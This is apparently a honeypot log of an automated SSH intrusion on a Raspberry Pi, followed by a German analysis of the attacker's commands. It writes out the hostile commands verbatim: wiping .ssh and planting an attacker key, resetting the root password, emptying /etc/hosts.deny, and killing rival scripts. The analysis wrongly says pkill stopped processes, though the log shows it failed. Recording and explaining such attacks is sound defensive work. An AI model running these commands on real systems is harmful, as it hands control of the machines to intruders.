12.11.2026, 18:29 UTC · 21 Befehle · über ssh · Russland
user='root' pass='1qw2!QW@' root@srv01:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa [Token] mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ bash: .ssh/authorized_keys: No such file or directory root@srv01:~$ cd ~ root@srv01:~$ chattr -ia .ssh chattr: Operation not permitted while setting flags on .ssh root@srv01:~$ lockr -ia .ssh bash: lockr: command not found root@srv01:~$ cat /proc/cpuinfo | grep name | wc -l 4 root@srv01:~$ echo "root:gN7zJDyQZDGp"|chpasswd|bash bash: chpasswd: command not found root:gN7zJDyQZDGp root@srv01:~$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ARMv7 Processor rev 3 (v7l) root@srv01:~$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' total used free shared buff/cache available 3923 248 2891 10 783 3400 root@srv01:~$ ls -lh $(which ls) -rwxr-xr-x 1 root root 140K Jan 1 2021 /bin/ls root@srv01:~$ crontab -l no crontab for manager root@srv01:~$ w bash: w: command not found root@srv01:~$ cat /proc/cpuinfo | grep model | grep name | wc -l 1 root@srv01:~$ rm -rf /tmp/secure.sh rm: cannot remove '/tmp/secure.sh': No such file or directory root@srv01:~$ rm -rf /tmp/auth.sh rm: cannot remove '/tmp/auth.sh': No such file or directory root@srv01:~$ pkill -9 secure.sh bash: pkill: command not found root@srv01:~$ pkill -9 auth.sh bash: pkill: command not found root@srv01:~$ echo > /etc/hosts.deny root@srv01:~$ pkill -9 sleep bash: pkill: command not found root@srv01:~$ uname -a Linux raspberrypi 5.10.103-v7l+ #1529 SMP Thu Mar 3 12:00:00 GMT 2022 armv7l GNU/Linux root@srv01:~$ lscpu | grep Model Model name: ARMv7 Processor rev 3 (v7l) root@srv01:~$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' 15G
Der Angreifer meldete sich mit einem einfachen Passwort als Root-Benutzer an. Er löschte den SSH-Schlüsselordner und versuchte, neue Schlüssel zu installieren. Anschließend sammelte er Systeminformationen wie CPU-Typ und Speicher und versuchte, das Root-Passwort zu ändern.
Die Kommandos zur CPU-Abfrage prüfen die Hardware-Architektur, um passende Malware zu laden. Der Befehl chpasswd soll das Root-Passwort auf einen neuen Wert setzen, scheitert aber in der Fake-Shell. Mit pkill werden Prozesse namens secure.sh und auth.sh beendet, was auf die Entfernung konkurrierender Malware hindeutet. Die Abfrage von free und df ermittelt verfügbaren Speicher und Festplattenplatz für Mining-Ressourcen. Das Löschen von /etc/hosts.deny entfernt mögliche Zugangsbeschränkungen.
Das Ziel war wahrscheinlich die dauerhafte Übernahme des Systems für ein Botnetz oder Kryptomining. Die Erkennung von ARM-Prozessoren deutet auf eine gezielte Suche nach IoT-Geräten hin. Das Entfernen alter Skripte und das Anlegen neuer SSH-Schlüssel dient der Persistenz.
Dieses Muster ist bei automatisierten Botnetzen sehr verbreitet, die nach schwach gesicherten Linux-Servern suchen. Die Kombination aus ARM-Erkennung und Skript-Säuberung ist typisch für IoT-Malware-Familien.